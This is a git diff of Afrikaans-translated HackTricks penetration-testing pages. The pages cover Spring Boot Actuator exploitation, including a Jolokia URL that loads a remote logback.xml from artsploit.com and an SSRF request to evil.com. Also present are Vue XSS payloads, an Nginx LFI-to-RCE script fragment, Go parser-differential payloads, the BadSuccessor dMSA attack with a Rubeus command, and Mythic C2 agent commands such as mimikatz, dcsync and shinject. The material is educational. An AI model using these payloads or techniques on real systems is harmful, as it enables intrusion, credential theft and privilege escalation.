Standaard is die outkenning geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewing veranderlike `MQ_ADMIN_PASSWORD`).
Hier is die wagterbestuurder se naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).
Hier is die waghuishouer naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).
Jy moet die IBM MQ aan en loop hê met sy poorte blootgestel:
Jy moet die IBM MQ opgestel en aan die gang hê met sy poorte blootgestel:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@ -330,3 +332,5 @@ CONTAINER ID IMAGE COMMAND CRE
- [mgeeky's gist - "Praktiese IBM MQ Penetrasietoets notas"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq)
{{#include /banners/hacktricks-training.md}}

View File

@ -17,14 +17,14 @@
- Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs `/health` en `/info` nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit.
- Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`.
- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basis pad is.
- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basispad is.
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- Die `/jolokia` actuator eindpunt blootstel die Jolokia Biblioteek, wat HTTP-toegang tot MBeans toelaat.
- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies.
- Voorbeeld van 'n uitbuit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- Voorbeeld van 'n uitbuit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die aanpassing van omgewings eienskappe toe.
@ -54,7 +54,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Besonderhede oor die uitbuiting van die kombinasie van `/env` eindpunt en H2 databasis kan [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) gevind word.
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die hantering van matriksparameters (`;`) in HTTP padname deur die Spring raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF).
- Die hantering van matriksparameters (`;`) in HTTP-padname deur die Spring-raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF).
- Voorbeeld van 'n uitbuit versoek:
```http
GET ;@evil.com/url HTTP/1.1
@ -62,3 +62,8 @@ Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}
{{#include /banners/hacktricks-training.md}}

View File

@ -34,7 +34,7 @@ userInput: 'javascript:alert(1)'
})
</script>
```
### v-on met gebruikersbeheerde handlers
### v-on met gebruiker-beheerde handlers
`v-on` kompileer sy waarde met `new Function`; as daardie waarde van die gebruiker kom, gee jy vir hulle kode-uitvoering op 'n skinkbord.
```html
<div id="app">
@ -54,13 +54,13 @@ Gebruiker-geleverde name in `v-bind:[attr]` of `v-on:[event]` laat aanvallers to
<!-- userAttr = 'onerror', payload = 'alert(1)' -->
```
### Dinamiese komponent (`<component :is>`)
Die toelaat van gebruikersstringe in `:is` kan arbitrêre komponente of inline-sjablone monteer—gevaarlik in die blaaiers en katastrofies in SSR.
Die toelaat van gebruikersstringe in `:is` kan arbitrêre komponente of inline sjablone monteer—gevaarlik in die blaaiers en katastrofies in SSR.
```html
<component :is="userChoice"></component>
<!-- userChoice = '<script>alert(1)</script>' -->
```
### Onbetroubare sjablone in SSR
Tydens bediener-kant weergawe, loop die sjabloon **op jou bediener**; die invoeging van gebruikers-HTML kan XSS tot volle Afgeleë Kode Uitvoering (RCE) opgradeer. CVE's in `vue-template-compiler` bewys die risiko.
Tydens bediener-kant weergawe, loop die sjabloon **op jou bediener**; die invoeging van gebruiker HTML kan XSS tot volle Afgeleë Kode Uitvoering (RCE) opgradeer. CVE's in `vue-template-compiler` bewys die risiko.
```js
// DANGER never do this
const app = createSSRApp({ template: userProvidedHtml })
@ -80,13 +80,13 @@ Deep-merge helpers in sommige plugins (bv., **vue-i18n**) het aanvallers toegela
import merge from 'deepmerge'
merge({}, JSON.parse('{ "__proto__": { "polluted": true } }'))
```
### Oop redirects met vue-router
### Oop omleidings met vue-router
Om ongekontroleerde gebruikers-URL's na `router.push` of `<router-link>` te stuur, kan lei na `javascript:` URI's of phishing-domeine.
```js
this.$router.push(this.$route.query.next) // DANGER
```
### CSRF in Axios / fetch
SPAs benodig steeds bediener-kant CSRF tokens; SameSite koekies alleen kan nie outomaties ingediende kruis-oorsprong POSTs blokkeer nie.
SPAs het steeds bediener-kant CSRF tokens nodig; SameSite koekies alleen kan nie outomaties ingediende kruis-oorsprong POSTs blokkeer nie.
```js
axios.post('/api/transfer', data, {
headers: { 'X-CSRF-TOKEN': token }
@ -117,7 +117,7 @@ npm ci --ignore-scripts # safer install
3. **Vermy `eval`** en dinamiese templates heeltemal.
4. **Patching afhanklikhede weekliks** en monitor advies.
5. **Stuur sterk HTTP koppe** (CSP, HSTS, XFO, CSRF).
6. **Vergrendel jou voorsieningsketting** met oudit, slotlêers, en ondertekende verbintenisse.
6. **Vergrendel jou voorsieningsketting** met oudit, vergrendel lêers, en onderteken verbintenisse.
## Verwysings

View File

@ -1,4 +1,4 @@
# LFI2RCE via Nginx tydelike lêers
# LFI2RCE via Nginx temp files
{{#include ../../banners/hacktricks-training.md}}
@ -33,13 +33,13 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Laboratoria
## Labs
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## Verwysings
## References
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
```
```
{{#include /banners/hacktricks-training.md}}

View File

@ -0,0 +1,128 @@
# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Dekoder
Die volgende probleme is in die Go JSON opgespoor, alhoewel dit ook in ander tale teenwoordig kan wees. Hierdie probleme is gepubliseer in [**hierdie blogpos**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwenties en onveilige standaardinstellings wat misbruik kan word om **authentisering te omseil**, **privileges te eskaleer**, of **sensitiewe data te ekfiltreer**.
### (Un)Marshaling Onverwagte Data
Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/schryf (bv. `IsAdmin`, `Password`).
- Voorbeeld Struktuur:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Algemene Kw vulnerabilities
1. **Ontbrekende etiket** (geen etiket = veld word steeds standaard verwerk):
```go
type User struct {
Username string
}
```
Payload:
```json
{"Username": "admin"}
```
2. **Onkorrekte gebruik van `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Payload:
```json
{"-": true}
```
✔️ Regte manier om 'n veld te blokkeer van (un)marshaling:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser Differentials
Die doel is om outorisasie te omseil deur te benut hoe verskillende parsers dieselfde payload verskillend interpreteer soos in:
- CVE-2017-12635: Apache CouchDB omseiling via duplikaat sleutels
- 2022: Zoom 0-click RCE via XML parser inkonsekwentheid
- GitLab 2025 SAML omseiling via XML quirks
**1. Duplikaat Velde:**
Go se `encoding/json` neem die **laaste** veld.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Ander parsers (bv. Java se Jackson) mag die **eerste** neem.
**2. Hooflettergevoeligheid:**
Go is hooflettergevoelig:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Selfs Unicode truuks werk:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Kruisdiens-mismatch:**
Stel jou voor:
- Proxy geskryf in Go
- AuthZ diens geskryf in Python
Aanvaller stuur:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python sien `UserAction`, laat dit toe
- Go sien `AdminAction`, voer dit uit
### Data Formaat Verwarring (Polyglots)
Die doel is om stelsels te exploiteer wat formate meng (JSON/XML/YAML) of wat oopval op parser foute soos:
- **CVE-2020-16250**: HashiCorp Vault het JSON met 'n XML-parser geparseer nadat STS JSON in plaas van XML teruggestuur het.
Aanvaller beheer:
- Die `Accept: application/json` kop
- Gedeeltelike beheer van die JSON liggaam
Go se XML-parser het dit **tog** geparseer en die ingespoten identiteit vertrou.
- Gemaakte las:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Resultaat:
- **Go JSON** parser: `Action_2` (nie-sensitief + laaste wen)
- **YAML** parser: `Action_1` (sensitief)
- **XML** parser: parseer `"Action_3"` binne die string
### 🔐 Versagtings
| Risiko | Regstelling |
|-----------------------------|---------------------------------------|
| Onbekende velde | `decoder.DisallowUnknownFields()` |
| Dubbele velde (JSON) | ❌ Geen regstelling in stdlib |
| Nie-sensitiewe ooreenkoms | ❌ Geen regstelling in stdlib |
| XML rommeldata | ❌ Geen regstelling in stdlib |
| YAML: onbekende sleutels | `yaml.KnownFields(true)` |
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,8 +2,8 @@
{{#include /banners/hacktricks-training.md}}
Foutinjektie-aanvalle sluit die bekendstelling van eksterne versteurings in elektroniese kringe in om die gedrag daarvan te beïnvloed, wat lei tot die bekendmaking van inligting of selfs die omseiling van sekere beperkings in die kring. Hierdie aanvalle bied 'n baie moontlikhede vir die aanval op elektroniese kringe. Hierdie aanval word ook verwys as die glitching van elektroniese kringe.
Foutinjektie-aanvalle sluit die bekendstelling van eksterne versteurings in elektroniese kringe in om die gedrag daarvan te beïnvloed, wat lei tot die bekendmaking van inligting of selfs die omseiling van sekere beperkings in die kring. Hierdie aanvalle bied 'n baie moontlikhede om elektroniese kringe aan te val. Hierdie aanval word ook verwys as die glitching van elektroniese kringe.
Daar is baie metodes en media vir die inspuiting van fout in 'n elektroniese kring.
Daar is baie metodes en media om fout in 'n elektroniese kring in te spuit.
{{#include /banners/hacktricks-training.md}}

View File

@ -4,20 +4,20 @@
## Oorsig
Gedelegeerde Bestuurde Diens Rekeninge (**dMSAs**) is 'n splinternuwe AD hoofstuk tipe wat bekendgestel is met **Windows Server 2025**. Hulle is ontwerp om verouderde diensrekeninge te vervang deur 'n een-klik “migrasie” wat outomaties die ou rekening se Diens Hoofstuk Namen (SPNs), groep lidmaatskappe, gedelegeerde instellings, en selfs kriptografiese sleutels na die nuwe dMSA kopieer, wat toepassings 'n naatlose oorgang bied en die risiko van Kerberoasting elimineer.
Gedelegeerde Bestuurde Diens Rekeninge (**dMSAs**) is 'n splinternuwe AD hoofstuk tipe wat met **Windows Server 2025** bekendgestel is. Hulle is ontwerp om verouderde diensrekeninge te vervang deur 'n een-klik “migrasie” wat outomaties die ou rekening se Diens Hoofstuk Namen (SPNs), groep lidmaatskappe, delegasie instellings, en selfs kriptografiese sleutels na die nuwe dMSA kopieer, wat toepassings 'n naatlose oorgang bied en die risiko van Kerberoasting elimineer.
Akamai navorsers het gevind dat 'n enkele attribuut — **`msDSManagedAccountPrecededByLink`** — die KDC vertel watter verouderde rekening 'n dMSA “opvolg”. As 'n aanvaller daardie attribuut kan skryf (en **`msDSDelegatedMSAState` 2** kan omskakel), sal die KDC gelukkig 'n PAC bou wat **elke SID van die gekose slagoffer erf**, wat effektief die dMSA in staat stel om enige gebruiker na te volg, insluitend Domein Administrators.
## Wat is 'n dMSA?
## Wat is 'n dMSA presies?
* Gebou op top van **gMSA** tegnologie maar gestoor as die nuwe AD klas **`msDSDelegatedManagedServiceAccount`**.
* Ondersteun 'n **opt-in migrasie**: die aanroep van `StartADServiceAccountMigration` koppel die dMSA aan die verouderde rekening, gee die verouderde rekening skryfrechten op `msDSGroupMSAMembership`, en draai `msDSDelegatedMSAState`=1 om.
* Na `CompleteADServiceAccountMigration`, word die vervangde rekening gedeaktiveer en die dMSA word ten volle funksioneel; enige gasheer wat voorheen die verouderde rekening gebruik het, word outomaties gemagtig om die dMSA se wagwoord te trek.
* Tydens verifikasie, embed die KDC 'n **KERBSUPERSEDEDBYUSER** wenk sodat Windows 11/24H2 kliënte deursigtig weer probeer met die dMSA.
* Tydens verifikasie, embed die KDC 'n **KERBSUPERSEDEDBYUSER** aanduiding sodat Windows 11/24H2 kliënte deursigtig weer probeer met die dMSA.
## Vereistes om aan te val
1. **Ten minste een Windows Server 2025 DC** sodat die dMSA LDAP klas en KDC logika bestaan.
2. **Enige objek-skepping of attribuut-skryfrechte op 'n OU** (enige OU) bv. `Create msDSDelegatedManagedServiceAccount` of eenvoudig **Create All Child Objects**. Akamai het gevind dat 91% van werklike huurders sulke “benigne” OU toestemmings aan nie-administrators toeken.
2. **Enige objek-skepping of attribuut-skryfrechte op 'n OU** (enige OU) bv. `Create msDSDelegatedManagedServiceAccount` of eenvoudig **Create All Child Objects**. Akamai het gevind dat 91% van werklike huurders sulke “benigne” OU toestemmings aan nie-administrateurs toeken.
3. Vermoë om gereedskap (PowerShell/Rubeus) van enige domein-verbonden gasheer te loop om Kerberos kaartjies aan te vra.
*Geen beheer oor die slagoffer gebruiker is nodig nie; die aanval raak nooit die teikenrekening direk nie.*
@ -44,7 +44,7 @@ Gereedskap soos **SetADComputer, ldapmodify**, of selfs **ADSI Edit** werk; g
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
```
Die teruggegee PAC bevat nou die SID 500 (Administrator) plus Domein Administrators/Enterprise Administrators groepe.
Die teruggekeer PAC bevat nou die SID 500 (Administrator) plus Domein Administrators/Enterprise Administrators groepe.
## Versamel al die gebruikers se wagwoorde
@ -52,7 +52,7 @@ Tydens wettige migrasies moet die KDC die nuwe dMSA toelaat om **kaartjies wat a
Omdat ons valse migrasie beweer dat die dMSA die slagoffer opvolg, kopieer die KDC plegtig die slagoffer se RC4HMAC sleutel in die **vorige-sleutels** lys selfs al het die dMSA nooit 'n “vorige” wagwoord gehad nie. Daardie RC4 sleutel is nie gesout nie, so dit is effektief die slagoffer se NT hash, wat die aanvaller **offline krak of “pass-the-hash”** vermoë bied.
Daarom laat massakoppeling van duisende gebruikers 'n aanvaller toe om hashes “op skaal” te dump, wat **BadSuccessor in beide 'n privilege-escalasie en geloofsbrief-kompromie primitive** omskep.
Daarom laat massakoppeling van duisende gebruikers 'n aanvaller toe om hashes “op skaal” te dump, wat **BadSuccessor in beide 'n privilege-escalasie en kredensieël-kompromie primitief** omskep.
## Gereedskap

View File

@ -4,7 +4,7 @@
## SCM
**SCMExec** is 'n tegniek om op afstand op stelsels opdragte uit te voer deur die Service Control Manager (SCM) te gebruik om 'n diens te skep wat die opdrag uitvoer. Hierdie metode kan sommige sekuriteitsbeheermaatreëls omseil, soos User Account Control (UAC) en Windows Defender.
**SCMExec** is 'n tegniek om op afstand stelsels op te voer deur die Service Control Manager (SCM) te gebruik om 'n diens te skep wat die opdrag uitvoer. Hierdie metode kan sommige sekuriteitsbeheermaatreëls omseil, soos User Account Control (UAC) en Windows Defender.
## Tools

View File

@ -1,8 +1,10 @@
# Mythic
{{#include ../banners/hacktricks-training.md}}
## Wat is Mythic?
Mythic is 'n oopbron, modulaire bevel en beheer (C2) raamwerk ontwerp vir red teaming. Dit stel sekuriteitsprofessionals in staat om verskillende agente (payloads) oor verskillende bedryfstelsels, insluitend Windows, Linux, en macOS, te bestuur en te ontplooi. Mythic bied 'n gebruikersvriendelike webkoppelvlak vir die bestuur van agente, die uitvoering van opdragte, en die insameling van resultate, wat dit 'n kragtige hulpmiddel maak om werklike aanvalle in 'n beheerde omgewing te simuleer.
Mythic is 'n oopbron, modulaire bevel en beheer (C2) raamwerk wat ontwerp is vir red teaming. Dit stel sekuriteitsprofessionals in staat om verskeie agente (payloads) oor verskillende bedryfstelsels, insluitend Windows, Linux, en macOS, te bestuur en te ontplooi. Mythic bied 'n gebruikersvriendelike webkoppelvlak vir die bestuur van agente, die uitvoering van opdragte, en die insameling van resultate, wat dit 'n kragtige hulpmiddel maak om werklike aanvalle in 'n beheerde omgewing na te boots.
### Installasie
@ -12,7 +14,7 @@ Om Mythic te installeer, volg die instruksies op die amptelike **[Mythic repo](h
Mythic ondersteun verskeie agente, wat die **payloads is wat take op die gecompromitteerde stelsels uitvoer**. Elke agent kan aangepas word vir spesifieke behoeftes en kan op verskillende bedryfstelsels loop.
Standaard het Mythic nie enige agente geïnstalleer nie. Dit bied egter 'n paar oopbron agente in [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Standaard het Mythic geen agente geïnstalleer nie. Dit bied egter 'n paar oopbron agente in [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Om 'n agent van daardie repo te installeer, moet jy net die volgende uitvoer:
```bash
@ -52,20 +54,20 @@ Hierdie agent het 'n baie opdragte wat dit baie soortgelyk maak aan Cobalt Strik
- `upload`: Laai 'n lêer van die plaaslike masjien na die teikenstelsel op
- `reg_query`: Vra registriesleutels en waardes op die teikenstelsel
- `reg_write_value`: Skryf 'n nuwe waarde na 'n gespesifiseerde registriesleutel
- `sleep`: Verander die agent se slaapinterval, wat bepaal hoe gereeld dit met die Mythic bediener incheck
- `sleep`: Verander die agent se slaapinterval, wat bepaal hoe gereeld dit met die Mythic bediener inloer
- En nog ander, gebruik `help` om die volledige lys van beskikbare opdragte te sien.
### Privilege escalasie
### Privilege eskalasie
- `getprivs`: Aktiveer soveel privilige as moontlik op die huidige draadtoken
- `getsystem`: Maak 'n handvatsel oop na winlogon en dupliceer die token, wat effektief privilige na die SYSTEM vlak verhoog
- `getprivs`: Aktiveer soveel moontlik voorregte op die huidige draadtoken
- `getsystem`: Maak 'n handvatsel oop na winlogon en dupliceer die token, wat effektief voorregte na die SYSTEM vlak eskaleer
- `make_token`: Skep 'n nuwe aanmeldsessie en pas dit toe op die agent, wat die verpersoonliking van 'n ander gebruiker moontlik maak
- `steal_token`: Steel 'n primêre token van 'n ander proses, wat die agent toelaat om daardie proses se gebruiker te verpersoonlik
- `pth`: Pass-the-Hash aanval, wat die agent toelaat om as 'n gebruiker te autentiseer met hul NTLM-hash sonder om die platte wagwoord te benodig
- `mimikatz`: Voer Mimikatz-opdragte uit om akrediteer, hashes en ander sensitiewe inligting uit geheue of die SAM-databasis te onttrek
- `rev2self`: Herstel die agent se token na sy primêre token, wat effektief privilige terug na die oorspronklike vlak laat daal
- `ppid`: Verander die ouer proses vir post-exploitatie take deur 'n nuwe ouer proses-ID te spesifiseer, wat beter beheer oor taakuitvoering konteks toelaat
- `printspoofer`: Voer PrintSpoofer-opdragte uit om druk spooler sekuriteitsmaatreëls te omseil, wat privilige eskalasie of kode-uitvoering moontlik maak
- `rev2self`: Herstel die agent se token na sy primêre token, wat effektief voorregte terug na die oorspronklike vlak laat val
- `ppid`: Verander die ouer proses vir post-exploitatie werksgeleenthede deur 'n nuwe ouer proses-ID te spesifiseer, wat beter beheer oor werksuitvoering konteks moontlik maak
- `printspoofer`: Voer PrintSpoofer-opdragte uit om druk spooler sekuriteitsmaatreëls te omseil, wat voorregte eskalasie of kode-uitvoering moontlik maak
- `dcsync`: Sinchroniseer 'n gebruiker se Kerberos sleutels na die plaaslike masjien, wat offline wagwoordkraking of verdere aanvalle moontlik maak
- `ticket_cache_add`: Voeg 'n Kerberos kaartjie by die huidige aanmeldsessie of 'n gespesifiseerde een, wat kaartjie hergebruik of verpersoonliking moontlik maak
@ -75,12 +77,12 @@ Hierdie agent het 'n baie opdragte wat dit baie soortgelyk maak aan Cobalt Strik
- `execute_assembly`: Voer 'n .NET assembly uit in die konteks van die agent
- `execute_coff`: Voer 'n COFF-lêer in geheue uit, wat in-geheue uitvoering van gecompileerde kode moontlik maak
- `execute_pe`: Voer 'n onbeheerde uitvoerbare (PE) uit
- `inline_assembly`: Voer 'n .NET assembly uit in 'n weggooibare AppDomain, wat tydelike uitvoering van kode toelaat sonder om die agent se hoofproses te beïnvloed
- `inline_assembly`: Voer 'n .NET assembly uit in 'n weggooibare AppDomain, wat tydelike uitvoering van kode moontlik maak sonder om die agent se hoofproses te beïnvloed
- `run`: Voer 'n binêre op die teikenstelsel uit, met die stelsel se PATH om die uitvoerbare te vind
- `shinject`: Spuit shellcode in 'n afstand proses, wat in-geheue uitvoering van arbitrêre kode moontlik maak
- `inject`: Spuit agent shellcode in 'n afstand proses, wat in-geheue uitvoering van die agent se kode moontlik maak
- `spawn`: Skep 'n nuwe agent sessie in die gespesifiseerde uitvoerbare, wat die uitvoering van shellcode in 'n nuwe proses moontlik maak
- `spawnto_x64` en `spawnto_x86`: Verander die standaard binêre wat in post-exploitatie take gebruik word na 'n gespesifiseerde pad in plaas van om `rundll32.exe` sonder params te gebruik wat baie geraas maak.
- `spawnto_x64` en `spawnto_x86`: Verander die standaard binêre wat in post-exploitatie werksgeleenthede gebruik word na 'n gespesifiseerde pad in plaas van om `rundll32.exe` sonder params te gebruik wat baie geraas maak.
### Mithic Forge
@ -99,9 +101,9 @@ Nadat een module gelaai is, sal dit in die lys verskyn as 'n ander opdrag soos `
### Powershell & skrip uitvoering
- `powershell_import`: Importeer 'n nuwe PowerShell skrip (.ps1) in die agent kas vir latere uitvoering
- `powershell_import`: Importeer 'n nuwe PowerShell skrip (.ps1) in die agent se kas vir latere uitvoering
- `powershell`: Voer 'n PowerShell opdrag uit in die konteks van die agent, wat geavanceerde skripting en outomatisering moontlik maak
- `powerpick`: Injekteer 'n PowerShell laaier samestelling in 'n sakrifisiele proses en voer 'n PowerShell opdrag uit (sonder PowerShell logging).
- `powerpick`: Injekteer 'n PowerShell laaier samestelling in 'n sakrifisiale proses en voer 'n PowerShell opdrag uit (sonder PowerShell logging).
- `psinject`: Voer PowerShell uit in 'n gespesifiseerde proses, wat gerigte uitvoering van skripte in die konteks van 'n ander proses moontlik maak
- `shell`: Voer 'n shell opdrag uit in die konteks van die agent, soortgelyk aan die uitvoering van 'n opdrag in cmd.exe
@ -111,31 +113,32 @@ Nadat een module gelaai is, sal dit in die lys verskyn as 'n ander opdrag soos `
- `jump_wmi`: Gebruik die WMI tegniek om lateraal na 'n nuwe gasheer te beweeg deur eers die Apollo agent uitvoerbare lêer (apollo.exe) oor te kopieer en dit uit te voer.
- `wmiexecute`: Voer 'n opdrag uit op die plaaslike of gespesifiseerde afstandstelsel met behulp van WMI, met opsionele akrediteer vir impersonasie.
- `net_dclist`: Verkry 'n lys van domeinbeheerder vir die gespesifiseerde domein, nuttig om potensiële teikens vir laterale beweging te identifiseer.
- `net_localgroup`: Lys plaaslike groepe op die gespesifiseerde rekenaar, wat standaard na localhost terugval as geen rekenaar gespesifiseer is nie.
- `net_localgroup`: Lys plaaslike groepe op die gespesifiseerde rekenaar, wat standaard na localhost val as geen rekenaar gespesifiseer is nie.
- `net_localgroup_member`: Verkry plaaslike groep lidmaatskap vir 'n gespesifiseerde groep op die plaaslike of afstandrekenaar, wat moontlik maak om gebruikers in spesifieke groepe te tel.
- `net_shares`: Lys afstandlike gedeeltes en hul toeganklikheid op die gespesifiseerde rekenaar, nuttig om potensiële teikens vir laterale beweging te identifiseer.
- `net_shares`: Lys afstandsdele en hul toeganklikheid op die gespesifiseerde rekenaar, nuttig om potensiële teikens vir laterale beweging te identifiseer.
- `socks`: Stel 'n SOCKS 5-konforme proxy op die teiken netwerk in, wat moontlik maak om verkeer deur die gecompromitteerde gasheer te tonnel. Dit is versoenbaar met gereedskap soos proxychains.
- `rpfwd`: Begin luister op 'n gespesifiseerde poort op die teiken gasheer en stuur verkeer deur Mythic na 'n afstandlike IP en poort, wat afstandlike toegang tot dienste op die teiken netwerk moontlik maak.
- `rpfwd`: Begin luister op 'n gespesifiseerde poort op die teiken gasheer en stuur verkeer deur Mythic na 'n afstand IP en poort, wat afstandstoegang tot dienste op die teiken netwerk moontlik maak.
- `listpipes`: Lys al die benoemde pype op die plaaslike stelsel, wat nuttig kan wees vir laterale beweging of bevoegdheidstoename deur met IPC meganismes te werk.
### Verskeie Opdragte
- `help`: Vertoon gedetailleerde inligting oor spesifieke opdragte of algemene inligting oor al beskikbare opdragte in die agent.
- `clear`: Merk take as 'gekuis' sodat dit nie deur agente opgetel kan word nie. Jy kan `all` spesifiseer om al die take te kuis of `task Num` om 'n spesifieke taak te kuis.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon is 'n Golang agent wat saamgestel word in **Linux en macOS** uitvoerbare lêers.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
Wanneer gebruiker oor linux het dit 'n paar interessante opdragte:
Wanneer gebruiker oor linux het, het dit 'n paar interessante opdragte:
### Algemene aksies
- `cat`: Druk die inhoud van 'n lêer
- `cd`: Verander die huidige werksgids
- `chmod`: Verander die regte van 'n lêer
- `config`: Beskou huidige konfigurasie en gasheerinligting
- `config`: Bekyk huidige konfigurasie en gasheerinligting
- `cp`: Kopieer 'n lêer van een plek na 'n ander
- `curl`: Voer 'n enkele webversoek uit met opsionele koptekste en metode
- `upload`: Laai 'n lêer op na die teiken
@ -150,10 +153,10 @@ Wanneer gebruiker oor linux het dit 'n paar interessante opdragte:
### Beweeg lateraal
- `ssh`: SSH na gasheer met die aangewese akrediteer en open 'n PTY sonder om ssh te spawn.
- `sshauth`: SSH na gespesifiseerde gasheer(s) met die aangewese akrediteer. Jy kan dit ook gebruik om 'n spesifieke opdrag op die afstand gasheer via SSH uit te voer of dit gebruik om lêers te SCP.
- `sshauth`: SSH na gespesifiseerde gasheer(s) met die aangewese akrediteer. Jy kan dit ook gebruik om 'n spesifieke opdrag op die afstandgasheers via SSH uit te voer of dit te gebruik om lêers te SCP.
- `link_tcp`: Skakel na 'n ander agent oor TCP, wat direkte kommunikasie tussen agente moontlik maak.
- `link_webshell`: Skakel na 'n agent met die webshell P2P-profiel, wat afstandstoegang tot die agent se webkoppelvlak moontlik maak.
- `rpfwd`: Begin of Stop 'n Reverse Port Forward, wat afstandstoegang tot dienste op die teiken netwerk moontlik maak.
- `rpfwd`: Begin of Stop 'n Omgekeerde Poort Voorwaartse, wat afstandstoegang tot dienste op die teiken netwerk moontlik maak.
- `socks`: Begin of Stop 'n SOCKS5-proxy op die teiken netwerk, wat tunneling van verkeer deur die gecompromitteerde gasheer moontlik maak. Kompatibel met gereedskap soos proxychains.
- `portscan`: Skandeer gasheer(s) vir oop poorte, nuttig om potensiële teikens vir laterale beweging of verdere aanvalle te identifiseer.
@ -162,3 +165,6 @@ Wanneer gebruiker oor linux het dit 'n paar interessante opdragte:
- `shell`: Voer 'n enkele shell-opdrag uit via /bin/sh, wat direkte uitvoering van opdragte op die teikenstelsel moontlik maak.
- `run`: Voer 'n opdrag vanaf skyf met argumente uit, wat die uitvoering van binaries of skripte op die teikenstelsel moontlik maak.
- `pty`: Maak 'n interaktiewe PTY oop, wat direkte interaksie met die shell op die teikenstelsel moontlik maak.
{{#include ../banners/hacktricks-training.md}}